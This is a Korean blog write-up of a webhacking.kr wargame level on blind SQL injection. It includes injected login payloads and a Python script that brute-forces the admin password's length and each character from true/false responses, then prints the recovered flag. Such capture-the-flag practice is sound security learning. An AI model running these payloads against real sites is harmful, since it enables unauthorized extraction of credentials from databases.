제목에 대놓고 Blind SQL Injection 이라고 써있다.
별도의 소스는 없어서 필터링 항목이 뭔지는 모르겠다.
국룰로
id : guest
pw : guest
를 넣어본 결과 login success 가 떴다.
guest의 비밀번호를 찾아보는 식으로 해보자.
union에 필터링 걸려있는거같다.
id=%27admin%27%20and%20length(pw)>0%23&pw=1
참인 문장을 주었을 때 wrong password 라고 나온다.
거짓인 문장을 주면 login fail이라고 나온다.
참거짓을 판단할 수 있으니 다했다.
python 코드 짜서 보자
found the length : 36
길이가 36이다.
이제 문자열을 찾아주면 되겠지
import requests
url="https://webhacking.kr/challenge/bonus-1/index.php"
PHPSESSID="rcbf21uirte023jsravgq3vav5"
"""
#length finding
length=1
while(1):
print("sending "+str(length))
pay="?id='or id='admin' and length(pw)="+str(length)+"%23&pw=1"
res=requests.post(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
if "wrong password" in res.text:
print("found the length : "+str(length))
break
length+=1
"""
pw=""
for i in range (1,37):
print("doing :"+str(i))
for j in range(48,128):
pay="?id='or id='admin' and ascii(substr(pw,"+str(i)+",1))="+str(j)+"%23&pw=1"
res=requests.post(url=url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
if "wrong password" in res.text:
print("found the word! "+chr(j) )
pw+=chr(j)
break
print("pw is :"+pw)
there_is_no_rest_for_the_white_angel
'WriteUp > Webhacking.kr' 카테고리의 다른 글
webhacking.kr : challenge 23 (0) | 2020.09.11 |
---|---|
webhacking.kr : challenge 22 (0) | 2020.09.11 |
webhacking.kr : challenge 20 (0) | 2020.09.11 |
webhacking.kr : challenge (0) | 2020.09.11 |
webhacking.kr : challenge 14 (0) | 2020.09.11 |